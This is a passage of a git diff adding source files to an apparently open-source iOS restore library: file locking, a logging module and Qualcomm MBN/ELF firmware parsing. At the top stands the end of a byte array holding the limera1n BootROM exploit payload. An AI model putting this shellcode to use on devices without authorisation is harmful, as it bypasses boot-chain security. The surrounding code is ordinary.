+ 0x79, 0x60, 0x5d, 0x49, 0xb9, 0x60, 0x5d, 0x48,
+ 0x5d, 0x49, 0x3b, 0x68, 0x98, 0x47, 0x5d, 0x48,
+ 0x5a, 0x49, 0x4a, 0x68, 0x00, 0xf0, 0x80, 0xf8,
+ 0x00, 0x28, 0xcb, 0xd0, 0x06, 0x1c, 0x5a, 0x48,
+ 0x56, 0x49, 0x4a, 0x68, 0x00, 0xf0, 0x78, 0xf8,
+ 0x00, 0x28, 0xc3, 0xd0, 0x05, 0x1c, 0x11, 0x20,
+ 0x14, 0x24, 0x29, 0x19, 0x2a, 0x19, 0x30, 0x23,
+ 0x54, 0x4c, 0x00, 0x94, 0x00, 0x24, 0x01, 0x94,
+ 0x00, 0x24, 0x02, 0x94, 0x7c, 0x68, 0xa0, 0x47,
+ 0x11, 0x20, 0x0c, 0x24, 0x31, 0x19, 0x32, 0x19,
+ 0xb3, 0x68, 0x4f, 0x4c, 0x00, 0x94, 0x24, 0x24,
+ 0x64, 0x19, 0x01, 0x94, 0x14, 0x24, 0x64, 0x19,
+ 0x02, 0x94, 0x7c, 0x68, 0xa0, 0x47, 0x45, 0x48,
+ 0x0c, 0x21, 0x89, 0x19, 0xb2, 0x68, 0x15, 0x1c,
+ 0x00, 0xf0, 0x4a, 0xf8, 0x47, 0x48, 0x41, 0x49,
+ 0x2a, 0x1c, 0x00, 0xf0, 0x4d, 0xf8, 0x00, 0x28,
+ 0x08, 0xd0, 0x01, 0x1c, 0x44, 0x48, 0x45, 0x4a,
+ 0x00, 0xf0, 0x46, 0xf8, 0x00, 0x28, 0x01, 0xd0,
+ 0x43, 0x49, 0x01, 0x60, 0x43, 0x48, 0x39, 0x49,
+ 0x2a, 0x1c, 0x00, 0xf0, 0x3d, 0xf8, 0x00, 0x28,
+ 0x08, 0xd0, 0x01, 0x1c, 0x40, 0x48, 0x3d, 0x4a,
+ 0x00, 0xf0, 0x36, 0xf8, 0x00, 0x28, 0x01, 0xd0,
+ 0x3e, 0x49, 0x01, 0x60, 0x3e, 0x48, 0x31, 0x49,
+ 0x2a, 0x1c, 0x00, 0xf0, 0x2d, 0xf8, 0x00, 0x28,
+ 0x08, 0xd0, 0x01, 0x1c, 0x3b, 0x48, 0x35, 0x4a,
+ 0x00, 0xf0, 0x26, 0xf8, 0x00, 0x28, 0x01, 0xd0,
+ 0x33, 0x49, 0x01, 0x60, 0x38, 0x48, 0x29, 0x49,
+ 0x2a, 0x1c, 0x38, 0x4b, 0x00, 0xf0, 0x1e, 0xf8,
+ 0x00, 0x28, 0x07, 0xd1, 0x36, 0x48, 0x25, 0x49,
+ 0x2a, 0x1c, 0x36, 0x4b, 0x00, 0xf0, 0x16, 0xf8,
+ 0x00, 0x28, 0x03, 0xd0, 0x34, 0x49, 0x01, 0x60,
+ 0x34, 0x49, 0x41, 0x60, 0x00, 0x20, 0x1f, 0x49,
+ 0x00, 0x22, 0xbb, 0x68, 0x98, 0x47, 0x55, 0xe7,
+ 0x0b, 0x68, 0x03, 0x60, 0x01, 0x30, 0x01, 0x31,
+ 0x01, 0x3a, 0x00, 0x2a, 0xf8, 0xd1, 0x70, 0x47,
+ 0x00, 0x23, 0xff, 0xe7, 0x10, 0xb5, 0x0c, 0x68,
+ 0x84, 0x42, 0x04, 0xd1, 0x00, 0x2b, 0x07, 0xd0,
+ 0x4c, 0x68, 0x9c, 0x42, 0x04, 0xd0, 0x02, 0x31,
+ 0x02, 0x3a, 0x00, 0x2a, 0xf3, 0xd1, 0x00, 0x21,
+ 0x08, 0x1c, 0x10, 0xbd, 0x88, 0x02, 0x00, 0x00,
+ 0x39, 0x2e, 0x35, 0x00, 0xe5, 0x36, 0x00, 0x00,
+ 0x19, 0x09, 0x00, 0x00, 0xdd, 0x39, 0x00, 0x00,
+ 0x34, 0x2e, 0x34, 0x00, 0x85, 0x4c, 0x00, 0x00,
+ 0x6d, 0x68, 0x00, 0x00, 0x5d, 0x5a, 0x00, 0x00,
+ 0x39, 0x2e, 0x33, 0x00, 0x9d, 0x34, 0x00, 0x00,
+ 0x25, 0x09, 0x00, 0x00, 0x69, 0x39, 0x00, 0x00,
+ 0x39, 0x2e, 0x33, 0x2e, 0xa5, 0x34, 0x00, 0x00,
+ 0x71, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84,
+ 0x00, 0xc0, 0x02, 0x00, 0x41, 0x54, 0x41, 0x44,
+ 0x47, 0x41, 0x42, 0x4b, 0x00, 0x02, 0x00, 0x20,
+ 0x00, 0x00, 0x00, 0x20, 0x1a, 0x78, 0xff, 0x2a,
+ 0x4f, 0xf0, 0xff, 0x30, 0x00, 0x02, 0x00, 0x00,
+ 0x00, 0x20, 0x00, 0x20, 0xf3, 0xdf, 0x90, 0xb5,
+ 0x07, 0x4b, 0x1b, 0x68, 0x4f, 0xf0, 0xff, 0x33,
+ 0x11, 0x9a, 0xd3, 0xf1, 0x18, 0xbf, 0x01, 0x20,
+ 0x80, 0xb5, 0x00, 0xaf, 0x82, 0xb0, 0x4f, 0xf0,
+ 0xb0, 0xb5, 0x02, 0xaf, 0x82, 0xb0, 0x01, 0x28,
+ 0x00, 0x4b, 0x18, 0x47, 0x00, 0x00, 0x00, 0x41
+};
+__attribute__((unused))
+static unsigned int limera1n_payload_len = 560;
diff --git a/sources/MobileRestoreCore/locking.c b/sources/MobileRestoreCore/locking.c
new file mode 100644
index 00000000..05f0e4f6
--- /dev/null
+++ b/sources/MobileRestoreCore/locking.c
@@ -0,0 +1,116 @@
+/*
+ * locking.c
+ * locking extras
+ *
+ * Copyright (c) 2012 Nikias Bassen. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+#ifdef WIN32
+#include <windows.h>
+#else
+#include <errno.h>
+#endif
+
+#include "locking.h"
+#include "common.h"
+
+int lock_file(const char* filename, lock_info_t* lockinfo)
+{
+ if (!lockinfo) {
+ return -1;
+ }
+#ifdef WIN32
+ lockinfo->fp = CreateFile(filename, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+ if (lockinfo->fp == INVALID_HANDLE_VALUE) {
+ logger(LL_DEBUG, "ERROR: could not open or create lockfile '%s'\n", filename);
+ return -1;
+ }
+
+ lockinfo->ldata.Offset = 0;
+ lockinfo->ldata.OffsetHigh = 0;
+
+ if (!LockFileEx(lockinfo->fp, LOCKFILE_EXCLUSIVE_LOCK, 0, 1, 0, &lockinfo->ldata)) {
+ logger(LL_DEBUG, "ERROR: can't lock file, error %d\n", GetLastError());
+ CloseHandle(lockinfo->fp);
+ lockinfo->fp = INVALID_HANDLE_VALUE;
+ return -1;
+ }
+#else
+ lockinfo->fp = fopen(filename, "a+");
+
+ if (!lockinfo->fp) {
+ logger(LL_DEBUG, "ERROR: could not open or create lockfile '%s'\n", filename);
+ return -1;
+ }
+
+ lockinfo->ldata.l_type = F_WRLCK;
+ lockinfo->ldata.l_whence = SEEK_SET;
+ lockinfo->ldata.l_start = 0;
+ lockinfo->ldata.l_len = 0;
+
+ if (fcntl(fileno(lockinfo->fp), F_SETLKW, &lockinfo->ldata) < 0) {
+ logger(LL_DEBUG, "ERROR: can't lock file, error %d\n", errno);
+ fclose(lockinfo->fp);
+ lockinfo->fp = NULL;
+ return -1;
+ }
+#endif
+ return 0;
+}
+
+int unlock_file(lock_info_t* lockinfo)
+{
+ if (!lockinfo) {
+ return -1;
+ }
+#ifdef WIN32
+ if (lockinfo->fp == INVALID_HANDLE_VALUE) {
+ return -1;
+ }
+
+ lockinfo->ldata.Offset = 0;
+ lockinfo->ldata.OffsetHigh = 0;
+
+ if (!UnlockFileEx(lockinfo->fp, 0, 1, 0, &lockinfo->ldata)) {
+ logger(LL_DEBUG, "ERROR: can't unlock file, error %d\n", GetLastError());
+ CloseHandle(lockinfo->fp);
+ lockinfo->fp = INVALID_HANDLE_VALUE;
+ return -1;
+ }
+ CloseHandle(lockinfo->fp);
+ lockinfo->fp = INVALID_HANDLE_VALUE;
+#else
+ if (!lockinfo->fp) {
+ return -1;
+ }
+
+ lockinfo->ldata.l_type = F_UNLCK;
+ lockinfo->ldata.l_whence = SEEK_SET;
+ lockinfo->ldata.l_start = 0;
+ lockinfo->ldata.l_len = 0;
+
+ if (fcntl(fileno(lockinfo->fp), F_SETLK, &lockinfo->ldata) < 0) {
+ logger(LL_DEBUG, "ERROR: can't unlock file, error %d\n", errno);
+ fclose(lockinfo->fp);
+ lockinfo->fp = NULL;
+ return -1;
+ }
+ fclose(lockinfo->fp);
+ lockinfo->fp = NULL;
+#endif
+ return 0;
+}
+
diff --git a/sources/MobileRestoreCore/locking.h b/sources/MobileRestoreCore/locking.h
new file mode 100644
index 00000000..d5b07ec5
--- /dev/null
+++ b/sources/MobileRestoreCore/locking.h
@@ -0,0 +1,43 @@
+/*
+ * locking.h
+ * locking extras header file
+ *
+ * Copyright (c) 2012 Nikias Bassen. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+#ifndef LOCKING_H
+#define LOCKING_H
+#include <stdio.h>
+#ifdef WIN32
+#include <windows.h>
+#else
+#include <fcntl.h>
+#endif
+
+typedef struct {
+#ifdef WIN32
+ HANDLE fp;
+ OVERLAPPED ldata;
+#else
+ FILE* fp;
+ struct flock ldata;
+#endif
+} lock_info_t;
+
+int lock_file(const char* filename, lock_info_t* lockp);
+int unlock_file(lock_info_t* lockp);
+
+#endif
diff --git a/sources/MobileRestoreCore/log.c b/sources/MobileRestoreCore/log.c
new file mode 100644
index 00000000..1238cb46
--- /dev/null
+++ b/sources/MobileRestoreCore/log.c
@@ -0,0 +1,235 @@
+/*
+ * log.c
+ *
+ * Copyright (c) 2024 Nikias Bassen. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdarg.h>
+#include <time.h>
+#ifdef _WIN32
+#include <windows.h>
+#else
+#include <sys/time.h>
+#endif
+#include <errno.h>
+
+#include <libimobiledevice-glue/thread.h>
+#include <plist/plist.h>
+
+#include "log.h"
+
+static int stderr_enabled = 1;
+
+enum loglevel log_level = LL_VERBOSE;
+enum loglevel print_level = LL_INFO;
+
+static logger_print_func print_func = NULL;
+
+const char *_level_label[6] = {
+ " <Error>",
+ "<Warning>",
+ " <Notice>",
+ " <Info>",
+ "<Verbose>",
+ " <Debug>"
+};
+
+// Reference: https://stackoverflow.com/a/2390626/1806760
+// Initializer/finalizer sample for MSVC and GCC/Clang.
+// 2010-2016 Joe Lowe. Released into the public domain.
+
+#ifdef __cplusplus
+ #define INITIALIZER(f) \
+ static void f(void); \
+ struct f##_t_ { f##_t_(void) { f(); } }; static f##_t_ f##_; \
+ static void f(void)
+#elif defined(_MSC_VER)
+ #pragma section(".CRT$XCU",read)
+ #define INITIALIZER2_(f,p) \
+ static void f(void); \
+ __declspec(allocate(".CRT$XCU")) void (*f##_)(void) = f; \
+ __pragma(comment(linker,"/include:" p #f "_")) \
+ static void f(void)
+ #ifdef _WIN64
+ #define INITIALIZER(f) INITIALIZER2_(f,"")
+ #else
+ #define INITIALIZER(f) INITIALIZER2_(f,"_")
+ #endif
+#else
+ #define INITIALIZER(f) \
+ static void f(void) __attribute__((__constructor__)); \
+ static void f(void)
+#endif
+
+static mutex_t log_mutex;
+
+static void logger_deinit(void)
+{
+ mutex_destroy(&log_mutex);
+}
+
+INITIALIZER(logger_init)
+{
+ mutex_init(&log_mutex);
+ atexit(logger_deinit);
+}
+
+void logger(enum loglevel level, const char *fmt, ...)
+{
+ va_list ap;
+ va_list ap2;
+ char *fs;
+
+ if (level > log_level)
+ return;
+
+ mutex_lock(&log_mutex);
+
+ size_t fslen = 24 + strlen(fmt);
+ fs = malloc(fslen);
+
+#ifdef _WIN32
+ SYSTEMTIME lt;
+ GetLocalTime(&lt);
+ snprintf(fs, fslen, "%02d:%02d:%02d.%03d %s %s", lt.wHour, lt.wMinute, lt.wSecond, lt.wMilliseconds, _level_label[level], fmt);
+#else
+ struct timeval ts;
+ struct tm *tp;
+
+ gettimeofday(&ts, NULL);
+#ifdef HAVE_LOCALTIME_R
+ struct tm tp_;
+ tp = localtime_r(&ts.tv_sec, &tp_);
+#else
+ tp = localtime(&ts.tv_sec);
+#endif
+
+ strftime(fs, 9, "%H:%M:%S", tp);
+ snprintf(fs+8, fslen-8, ".%03d %s %s", (int)(ts.tv_usec / 1000), _level_label[level], fmt);
+#endif
+
+ va_start(ap, fmt);
+ va_copy(ap2, ap);
+ if (print_func) {
+ if (stderr_enabled) {
+ vfprintf(stderr, fs, ap);
+ fflush(stderr);
+ }
+ if (level <= print_level) {
+ // skip the timestamp and log level string
+ print_func(level, fs+23, ap2);
+ }
+ } else {
+ vprintf(fs, ap);
+ }
+
+ va_end(ap);
+ va_end(ap2);
+
+ free(fs);
+
+ mutex_unlock(&log_mutex);
+}
+
+#if defined(__GNUC__) || defined(__clang__)
+static void print_funcf(enum loglevel level, const char* fmt, ...) __attribute__ ((format (printf, 2, 3)));
+#else
+static void print_funcf(enum loglevel level, const char* fmt, ...);
+#endif
+
+static void print_funcf(enum loglevel level, const char* fmt, ...)
+{
+ va_list ap;
+ va_start(ap, fmt);
+ print_func(level, fmt, ap);
+ va_end(ap);
+}
+
+void logger_dump_hex(enum loglevel level, const void* buf, size_t len)
+{
+ char *fs;
+
+ if (level > log_level)
+ return;
+
+ mutex_lock(&log_mutex);
+
+ fs = (char*)malloc((len == 0) ? 2 : (len * 3 + 1));
+ if (!fs) {
+ mutex_unlock(&log_mutex);
+ return;
+ }
+ if (len == 0) {
+ fs[0] = '\n';
+ fs[1] = '\0';
+ }
+ for (unsigned int i = 0; i < len; i++) {
+ snprintf(fs + i*3, 4, "%02x%c", ((unsigned char*)buf)[i], (i < len-1) ? ' ' : '\n');
+ }
+ if (print_func) {
+ if (stderr_enabled) {
+ fprintf(stderr, "%s", fs);
+ fflush(stderr);
+ }
+ if (level <= print_level) {
+ print_funcf(level, "%s", fs);
+ }
+ } else {
+ printf("%s", fs);
+ }
+ free(fs);
+
+ mutex_unlock(&log_mutex);
+}
+
+void logger_dump_plist(enum loglevel level, plist_t plist, int human_readable)
+{
+ if (level > log_level)
+ return;
+ mutex_lock(&log_mutex);
+ plist_write_to_stream(plist, stderr_enabled ? stderr : stdout, (human_readable) ? PLIST_FORMAT_PRINT : PLIST_FORMAT_XML, PLIST_OPT_NONE);
+ mutex_unlock(&log_mutex);
+}
+
+int logger_set_logfile(const char* path)
+{
+ if (!path || !strcasecmp(path, "NULL") || !strcasecmp(path, "NONE")) {
+ stderr_enabled = 0;
+ return 0;
+ }
+ stderr_enabled = 1;
+ if (strcmp(path, "-")) {
+ FILE* newf = freopen(path, "w", stderr);
+ if (!newf) {
+ logger(LL_ERROR, "Could not open logfile '%s': %s\n", path, strerror(errno));
+ return -1;
+ }
+ }
+ return 0;
+}
+
+void logger_set_print_func(logger_print_func func)
+{
+ print_func = func;
+}
diff --git a/sources/MobileRestoreCore/log.h b/sources/MobileRestoreCore/log.h
new file mode 100644
index 00000000..046a8d25
--- /dev/null
+++ b/sources/MobileRestoreCore/log.h
@@ -0,0 +1,45 @@
+/*
+ * log.h
+ *
+ * Copyright (c) 2024 Nikias Bassen. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef LOG_H
+#define LOG_H
+
+#include <plist/plist.h>
+
+enum loglevel {
+ LL_ERROR = 0,
+ LL_WARNING,
+ LL_NOTICE,
+ LL_INFO,
+ LL_VERBOSE,
+ LL_DEBUG
+};
+
+extern enum loglevel log_level;
+
+typedef void (*logger_print_func)(enum loglevel level, const char*, va_list);
+
+void logger(enum loglevel level, const char *fmt, ...) __attribute__ ((format (printf, 2, 3)));
+int logger_set_logfile(const char* path);
+void logger_set_print_func(logger_print_func func);
+void logger_dump_hex(enum loglevel level, const void* buf, size_t len);
+void logger_dump_plist(enum loglevel level, plist_t plist, int human_readable);
+
+#endif
diff --git a/sources/MobileRestoreCore/mbn.c b/sources/MobileRestoreCore/mbn.c
new file mode 100644
index 00000000..8d9f7a48
--- /dev/null
+++ b/sources/MobileRestoreCore/mbn.c
@@ -0,0 +1,480 @@
+/*
+ * mbn.c
+ * support for Qualcomm MBN (Modem Binary) formats
+ *
+ * Copyright (c) 2012 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2012 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2025 Visual Ehrmanntraut <[email protected]>. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include "mbn.h"
+#include "common.h"
+
+#define MBN_V1_MAGIC "\x0A\x00\x00\x00"
+#define MBN_V1_MAGIC_SIZE 4
+
+#pragma pack(push, 1)
+typedef struct {
+ uint32_t type; // the signed .mbn files have 0xA as value.
+ uint32_t unk_0x04;
+ uint32_t unk_0x08;
+ uint32_t unk_0x0c;
+ uint32_t data_size; // data_size = total_size - sizeof(mbn_header)
+ uint32_t sig_offset; // real offset = enc_sig_offset & 0xFFFFFF00
+ uint32_t unk_0x18;
+ uint32_t unk_0x1c;
+ uint32_t unk_0x20;
+ uint32_t unk_0x24;
+} mbn_header_v1;
+
+#define MBN_V2_MAGIC "\xD1\xDC\x4B\x84\x34\x10\xD7\x73"
+#define MBN_V2_MAGIC_SIZE 8
+
+typedef struct {
+ unsigned char magic1[8];
+ uint32_t unk_0x08;
+ uint32_t unk_0x0c; // 0xFFFFFFFF
+ uint32_t unk_0x10; // 0xFFFFFFFF
+ uint32_t header_size;
+ uint32_t unk_0x18;
+ uint32_t data_size; // data_size = total_size - sizeof(mbn_header_v2)
+ uint32_t sig_offset;
+ uint32_t unk_0x24;
+ uint32_t unk_0x28;
+ uint32_t unk_0x2c;
+ uint32_t unk_0x30;
+ uint32_t unk_0x34; // 0x1
+ uint32_t unk_0x38; // 0x1
+ uint32_t unk_0x3c; // 0xFFFFFFFF
+ uint32_t unk_0x40; // 0xFFFFFFFF
+ uint32_t unk_0x44; // 0xFFFFFFFF
+ uint32_t unk_0x48; // 0xFFFFFFFF
+ uint32_t unk_0x4c; // 0xFFFFFFFF
+} mbn_header_v2;
+
+#define MBN_BIN_MAGIC "\x04\x00\xEA\x6C\x69\x48\x55"
+#define MBN_BIN_MAGIC_SIZE 7
+#define MBN_BIN_MAGIC_OFFSET 1 // we ignore the first byte
+
+typedef struct {
+ unsigned char magic[8];
+ uint32_t unk_0x08;
+ uint32_t version;
+ uint32_t total_size; // size including header
+ uint32_t unk_0x14; // some offset
+} mbn_bin_header;
+
+typedef struct
+{
+ uint32_t reserved;
+ uint32_t version;
+ uint32_t common_metadata_size;
+ uint32_t qti_metadata_size;
+ uint32_t oem_metadata_size;
+ uint32_t hash_table_size;
+ uint32_t qti_signature_size;
+ uint32_t qti_certificate_chain_size;
+ uint32_t oem_signature_size;
+ uint32_t oem_certificate_chain_size;
+} mbn_v7_header;
+
+#define EI_MAG0 0
+#define EI_MAG1 1
+#define EI_MAG2 2
+#define EI_MAG3 3
+#define EI_CLASS 4
+#define EI_DATA 5
+#define EI_VERSION 6
+#define EI_OSABI 7
+#define EI_ABIVERSION 8
+#define EI_PAD 9
+#define EI_NIDENT 16
+
+#define ELFMAG0 0x7F
+#define ELFMAG1 'E'
+#define ELFMAG2 'L'
+#define ELFMAG3 'F'
+#define ELFCLASSNONE 0
+#define ELFCLASS32 1
+#define ELFCLASS64 2
+
+typedef struct
+{
+ uint8_t e_ident[EI_NIDENT];
+ uint16_t e_type;
+ uint16_t e_machine;
+ uint32_t e_version;
+ uint32_t e_entry;
+ uint32_t e_phoff;
+ uint32_t e_shoff;
+ uint32_t e_flags;
+ uint16_t e_ehsize;
+ uint16_t e_phentsize;
+ uint16_t e_phnum;
+ uint16_t e_shentsize;
+ uint16_t e_shnum;
+ uint16_t e_shstrndx;
+} elf32_header;
+
+typedef struct
+{
+ uint8_t e_ident[EI_NIDENT];
+ uint16_t e_type;
+ uint16_t e_machine;
+ uint32_t e_version;
+ uint64_t e_entry;
+ uint64_t e_phoff;
+ uint64_t e_shoff;
+ uint32_t e_flags;
+ uint16_t e_ehsize;
+ uint16_t e_phentsize;
+ uint16_t e_phnum;
+ uint16_t e_shentsize;
+ uint16_t e_shnum;
+ uint16_t e_shstrndx;
+} elf64_header;
+
+typedef struct
+{
+ uint32_t p_type;
+ uint32_t p_offset;
+ uint32_t p_vaddr;
+ uint32_t p_paddr;
+ uint32_t p_filesz;
+ uint32_t p_memsz;
+ uint32_t p_flags;
+ uint32_t p_align;
+} elf32_pheader;
+
+typedef struct
+{
+ uint32_t p_type;
+ uint32_t p_flags;
+ uint64_t p_offset;
+ uint64_t p_vaddr;
+ uint64_t p_paddr;
+ uint64_t p_filesz;
+ uint64_t p_memsz;
+ uint64_t p_align;
+} elf64_pheader;
+#pragma pack(pop)
+
+static int mbn_is_valid_elf(const uint8_t* e_ident, size_t size)
+{
+ return size >= EI_NIDENT && e_ident[EI_MAG0] == ELFMAG0 &&
+ e_ident[EI_MAG1] == ELFMAG1 && e_ident[EI_MAG2] == ELFMAG2 &&
+ e_ident[EI_MAG3] == ELFMAG3 && e_ident[EI_CLASS] != ELFCLASSNONE;
+}
+
+static int mbn_is_64bit_elf(const uint8_t* e_ident)
+{
+ return e_ident[EI_CLASS] == ELFCLASS64;
+}
+
+void* mbn_stitch(const void* data, size_t data_size, const void* blob, size_t blob_size)
+{
+ if (!data) {
+ logger(LL_ERROR, "%s: data is NULL\n", __func__);
+ return NULL;
+ }
+
+ if (!data_size) {
+ logger(LL_ERROR, "%s: data size is 0\n", __func__);
+ return NULL;
+ }
+
+ if (!blob) {
+ logger(LL_ERROR, "%s: blob is NULL\n", __func__);
+ return NULL;
+ }
+
+ if (!blob_size) {
+ logger(LL_ERROR, "%s: blob size is 0\n", __func__);
+ return NULL;
+ }
+
+ size_t parsed_size = 0;
+ if (data_size > MBN_V2_MAGIC_SIZE && memcmp(data, MBN_V2_MAGIC, MBN_V2_MAGIC_SIZE) == 0) {
+ parsed_size = ((mbn_header_v2*)data)->data_size + sizeof(mbn_header_v2);
+ logger(LL_DEBUG, "%s: encountered MBN v2 image, parsed_size = 0x%zx\n", __func__, parsed_size);
+ } else if (data_size > MBN_V1_MAGIC_SIZE && memcmp(data, MBN_V1_MAGIC, MBN_V1_MAGIC_SIZE) == 0) {
+ parsed_size = ((mbn_header_v1*)data)->data_size + sizeof(mbn_header_v1);
+ logger(LL_DEBUG, "%s: encountered MBN v1 image, parsed_size = 0x%zx\n", __func__, parsed_size);
+ } else if (data_size > MBN_BIN_MAGIC_SIZE+MBN_BIN_MAGIC_OFFSET && memcmp((uint8_t*)data+MBN_BIN_MAGIC_OFFSET, (uint8_t*)MBN_BIN_MAGIC, MBN_BIN_MAGIC_SIZE) == 0) {
+ parsed_size = ((mbn_bin_header*)data)->total_size;
+ logger(LL_DEBUG, "%s: encountered MBN BIN image, parsed_size = 0x%zx\n", __func__, parsed_size);
+ } else if (mbn_is_valid_elf(data, data_size)) {
+ if (mbn_is_64bit_elf(data)) {
+ const elf64_header* ehdr = data;
+ const elf64_pheader* phdr = data + ehdr->e_phoff;
+ if (ehdr->e_phnum == 0) {
+ logger(LL_ERROR, "%s: ELF has no program sections\n", __func__);
+ return NULL;
+ }
+ uint64_t last_off = 0;
+ uint16_t last_index = 0;
+ for (uint16_t i = 0; i < ehdr->e_phnum; i++) {
+ if (phdr[i].p_offset > last_off) {
+ last_off = phdr[i].p_offset;
+ last_index = i;
+ }
+ }
+ parsed_size = last_off + phdr[last_index].p_filesz;
+ } else {
+ const elf32_header* ehdr = data;
+ const elf32_pheader* phdr = data + ehdr->e_phoff;
+ if (ehdr->e_phnum == 0) {
+ logger(LL_ERROR, "%s: ELF has no program sections\n", __func__);
+ return NULL;
+ }
+ uint32_t last_off = 0;
+ uint16_t last_index = 0;
+ for (uint16_t i = 0; i < ehdr->e_phnum; i++) {
+ if (phdr[i].p_offset > last_off) {
+ last_off = phdr[i].p_offset;
+ last_index = i;
+ }
+ }
+ parsed_size = last_off + phdr[last_index].p_filesz;
+ }
+ logger(LL_DEBUG, "%s: encountered ELF image, parsed_size = 0x%zx\n", __func__, parsed_size);
+ } else {
+ logger(LL_WARNING, "Unknown file format passed to %s\n", __func__);
+ }
+ if (parsed_size != data_size) {
+ logger(LL_WARNING, "%s: size mismatch for MBN data, expected 0x%zx, input size 0x%zx\n", __func__, parsed_size, data_size);
+ }
+
+ off_t stitch_offset = data_size - blob_size;
+ if (stitch_offset + blob_size > data_size) {
+ logger(LL_ERROR, "%s: stitch offset (0x%lx) + size (0x%zx) is larger than the destination (0x%zx)\n", __func__, (unsigned long)stitch_offset, blob_size, data_size);
+ return NULL;
+ }
+
+ unsigned char* buf = malloc(data_size);
+ if (buf == NULL) {
+ logger(LL_ERROR, "out of memory\n");
+ return NULL;
+ }
+
+ memcpy(buf, data, data_size);
+ logger(LL_DEBUG, "%s: stitching mbn at 0x%llx, size 0x%zx\n", __func__, stitch_offset, blob_size);
+ memcpy(buf + stitch_offset, blob, blob_size);
+
+ return buf;
+}
+
+// the sum of header size and all sizes inside it must fit within the size of
+// the data
+static int mbn_v7_header_sizes_valid(const mbn_v7_header* header, size_t size)
+{
+ return (sizeof(*header) + header->common_metadata_size +
+ header->qti_metadata_size + header->oem_metadata_size +
+ header->hash_table_size + header->qti_signature_size +
+ header->qti_certificate_chain_size + header->oem_signature_size +
+ header->oem_certificate_chain_size) <= size;
+}
+
+// 0xE0 == sizeof(mav25_authority_meta_field_t), 0x68 ==
+// kExpectedOEMSignatureSize, 0xD20 == kExpectedOEMCertChainSize
+static int mbn_v7_header_sizes_expected(const mbn_v7_header* header)
+{
+ return (header->qti_metadata_size == 0 || header->qti_metadata_size == 0xE0) &&
+ (header->oem_metadata_size == 0 || header->oem_metadata_size == 0xE0) &&
+ (header->oem_signature_size == 0 || header->oem_signature_size == 0x68) &&
+ (header->oem_certificate_chain_size == 0 || header->oem_certificate_chain_size == 0xD20);
+}
+
+static void mbn_v7_log_header(const mbn_v7_header* header, const char* func, const char* prefix)
+{
+ logger(LL_DEBUG,
+ "%s: %s header {version=0x%x, common_metadata_size=0x%x, "
+ "qti_metadata_size=0x%x, oem_metadata_size=0x%x, hash_table_size=0x%x, "
+ "qti_signature_size=0x%x, qti_certificate_chain_size=0x%x, "
+ "oem_signature_size=0x%x, oem_certificate_chain_size=0x%x}\n",
+ func,
+ prefix,
+ header->version,
+ header->common_metadata_size,
+ header->qti_metadata_size,
+ header->oem_metadata_size,
+ header->hash_table_size,
+ header->qti_signature_size,
+ header->qti_certificate_chain_size,
+ header->oem_signature_size,
+ header->oem_certificate_chain_size
+ );
+}
+
+void* mbn_mav25_stitch(const void* data, size_t data_size, const void* blob, size_t blob_size)
